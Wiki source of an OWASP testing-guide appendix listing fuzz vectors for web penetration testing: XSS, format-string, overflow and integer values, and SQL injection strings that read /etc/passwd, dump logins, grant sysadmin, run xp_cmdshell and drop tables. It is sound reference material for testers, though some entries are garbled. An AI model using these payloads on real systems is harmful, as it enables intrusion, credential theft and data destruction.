View source for OWASP Testing Guide Appendix C: Fuzz Vectors

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]<br>
{{Template:OWASP Testing Guide v2}}


The following are fuzzing vectors which can be used with webscarab, jbrofuzz or another fuzzer.
Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.
This is the simple part of the discovery phase.
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

=== Fuzz Categories ===

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

* Recursive fuzzing
* Replasive fuzzing

We examine and define each category in the sub-sections that follow. 

==== Recursive fuzzing ====

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

<pre>
<nowiki>http://www.owasp.org/8302fa3b</nowiki>
</pre>

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:
<pre>
<nowiki>http://www.owasp.org/00000000</nowiki><br>
<nowiki>...</nowiki>
<nowiki>http://www.owasp.org/11000fff</nowiki><br>
<nowiki>...</nowiki>
<nowiki>http://www.owasp.org/ffffffff</nowiki><br>
</pre>

==== Replasive fuzzing ====

Replasive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

<pre>
<nowiki>http://www.owasp.org/8302fa3b</nowiki>
</pre>

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors: 

<pre>
<nowiki>http://www.owasp.org/>"><script>alert("XSS")</script>&</nowiki><br>
<nowiki>http://www.owasp.org/'';!--"<XSS>=&{()}</nowiki><br>
</pre>

This is a form of replasive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified. 

The remainder of this appendix presents a number of fuzz vector categories.

=== Cross Site Scripting (XSS) ===

Brief description here.

<nowiki>>"><script>alert("XSS")</script>&</nowiki><br>
<nowiki>"><STYLE>@import"javascript:alert('XSS')";</STYLE></nowiki><br>
<nowiki>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></nowiki><br>
<nowiki>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></nowiki><br>
<nowiki>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</nowiki><br>
<nowiki>"></nowiki><br>
<nowiki>>"</nowiki><br>
<nowiki>'';!--"<XSS>=&{()}</nowiki><br>
<nowiki><IMG SRC="javascript:alert('XSS');"></nowiki><br>
<nowiki><IMG SRC=javascript:alert('XSS')></nowiki><br>
<nowiki><IMG SRC=JaVaScRiPt:alert('XSS')> </nowiki><br>
<nowiki><IMG SRC=JaVaScRiPt:alert(&amp;quot;XSS<WBR>&amp;quot;)></nowiki><br>
<nowiki><IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;<WBR>#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;<WBR>#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;<WBR>#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83<WBR>;&amp;#83;&amp;#39;&amp;#41></nowiki><br>
<nowiki><IMG
SRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041></nowiki><br>
<nowiki><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28&<WBR>#x27&#x58&#x53&#x53&#x27&#x29></nowiki><br>
<nowiki><IMG SRC="jav&amp;#x09;ascript:alert(<WBR>'XSS');"></nowiki><br>
<nowiki><IMG SRC="jav&amp;#x0A;ascript:alert(<WBR>'XSS');"></nowiki><br>
<nowiki><IMG SRC="jav&amp;#x0D;ascript:alert(<WBR>'XSS');"></nowiki><br>

=== Buffer Overflows (BFO) ===

Brief description here. 

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>A x 5</nowiki><br>
<nowiki>A x 17</nowiki><br>
<nowiki>A x 33</nowiki><br>
<nowiki>A x 65</nowiki><br>
<nowiki>A x 129</nowiki><br>
<nowiki>A x 257</nowiki><br>
<nowiki>A x 513</nowiki><br>
<nowiki>A x 1024</nowiki><br>
<nowiki>A x 2049</nowiki><br>
<nowiki>A x 4097</nowiki><br>
<nowiki>A x 8193</nowiki><br>
<nowiki>A x 12288</nowiki><br>

=== Format String Errors (FSE) ===

Brief description here.

%s%p%x%d</nowiki><br>
.1024d</nowiki><br>
%.2049d</nowiki><br>
<nowiki>%p%p%p%p</nowiki><br>
<nowiki>%x%x%x%x</nowiki><br>
<nowiki>%d%d%d%d</nowiki><br>
<nowiki>%s%s%s%s</nowiki><br>
<nowiki>%99999999999s</nowiki><br>
<nowiki>%08x</nowiki><br>
<nowiki>%%20d</nowiki><br>
<nowiki>%%20n</nowiki><br>
<nowiki>%%20x</nowiki><br>
<nowiki>%%20s</nowiki><br>
<nowiki>%s%s%s%s%s%s%s%s%s%s</nowiki><br>
<nowiki>%p%p%p%p%p%p%p%p%p%p</nowiki><br>
<nowiki>%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%</nowiki><br>
<nowiki>%s x 129</nowiki><br>
<nowiki>%x x 257</nowiki><br>

=== Integer Overflows (INT) ===

Brief description here.

<nowiki>-1</nowiki><br>
<nowiki>0</nowiki><br>
<nowiki>0x100</nowiki><br>
<nowiki>0x1000</nowiki><br>
<nowiki>0x3fffffff</nowiki><br>
<nowiki>0x7ffffffe</nowiki><br>
<nowiki>0x7fffffff</nowiki><br>
<nowiki>0x80000000</nowiki><br>
<nowiki>0xfffffffe</nowiki><br>
<nowiki>0xffffffff</nowiki><br>
<nowiki>0x10000</nowiki><br>
<nowiki>0x100000</nowiki><br>

=== Passive SQL Injection (SQP) ===

Brief description here.

<nowiki>' OR 1=1--</nowiki><br>
<nowiki>OR 1=1</nowiki><br>
<nowiki>' OR '1'='1</nowiki><br>
<nowiki>; OR '1'='1'</nowiki><br>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki><br>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki><br>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki><br>
<nowiki>%27+--+</nowiki><br>
<nowiki>' or 1=1--</nowiki><br>
<nowiki>" or 1=1--</nowiki><br>
<nowiki>' or 1=1 /*</nowiki><br>
<nowiki>or 1=1--</nowiki><br>
<nowiki>' or 'a'='a</nowiki><br>
<nowiki>" or "a"="a</nowiki><br>
<nowiki>') or ('a'='a</nowiki><br>
<nowiki>Admin' OR '</nowiki><br>
<nowiki>'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--</nowiki><br>
<nowiki>) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;</nowiki><br>
<nowiki>' having 1=1--</nowiki><br>
<nowiki>' having 1=1--</nowiki><br>
<nowiki>' group by userid having 1=1--</nowiki><br>
<nowiki>' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--</nowiki><br>
<nowiki>' or 1 in (select @@version)--</nowiki><br>
<nowiki>' union all select @@version--</nowiki><br>
<nowiki>' OR 'unusual' = 'unusual'</nowiki><br>
<nowiki>' OR 'something' = 'some'+'thing'</nowiki><br>
<nowiki>' OR 'text' = N'text'</nowiki><br>
<nowiki>' OR 'something' like 'some%'</nowiki><br>
<nowiki>' OR 2 > 1</nowiki><br>
<nowiki>' OR 'text' > 't'</nowiki><br>
<nowiki>' OR 'whatever' in ('whatever')</nowiki><br>
<nowiki>' OR 2 BETWEEN 1 and 3</nowiki><br>
<nowiki>' or username like char(37);</nowiki><br>
<nowiki>' union select * from users where login = char(114,111,111,116);</nowiki><br>
<nowiki>' union select 
<nowiki>Password:*/=1--</nowiki><br>
<nowiki>UNI/**/ON SEL/**/ECT</nowiki><br>
<nowiki>'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'</nowiki><br>
<nowiki>'; EXEC ('SEL' + 'ECT US' + 'ER')</nowiki><br>
<nowiki>'/**/OR/**/1/**/=/**/1</nowiki><br>
<nowiki>' or 1/*</nowiki><br>
<nowiki>+or+isnull%281%2F0%29+%2F*</nowiki><br>
<nowiki>%27+OR+%277659%27%3D%277659</nowiki><br>
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki><br>
<nowiki>%27+--+&password=</nowiki><br>
<nowiki>'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --</nowiki><br>
<nowiki>' and 1 in (select var from temp)--</nowiki><br>
<nowiki>' union select 1,load_file('/etc/passwd'),1,1,1;</nowiki><br>
<nowiki>1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;</nowiki><br>
<nowiki>' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));</nowiki><br>

=== Active SQL Injection (SQI) ===

Brief description here.

<nowiki>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</nowiki><br>
<nowiki>CRATE USER name IDENTIFIED BY 'pass123'</nowiki><br>
<nowiki>CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; </nowiki><br>
<nowiki>' ; drop table temp --</nowiki><br>
<nowiki>exec sp_addlogin 'name' , 'password'</nowiki><br>
<nowiki>exec sp_addsrvrolemember 'name' , 'sysadmin'</nowiki><br>
<nowiki>INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))</nowiki><br>
<nowiki>GRANT CONNECT TO name; GRANT RESOURCE TO name;</nowiki><br>
<nowiki>INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)</nowiki><br>




{{Category:OWASP Testing Project AoC}}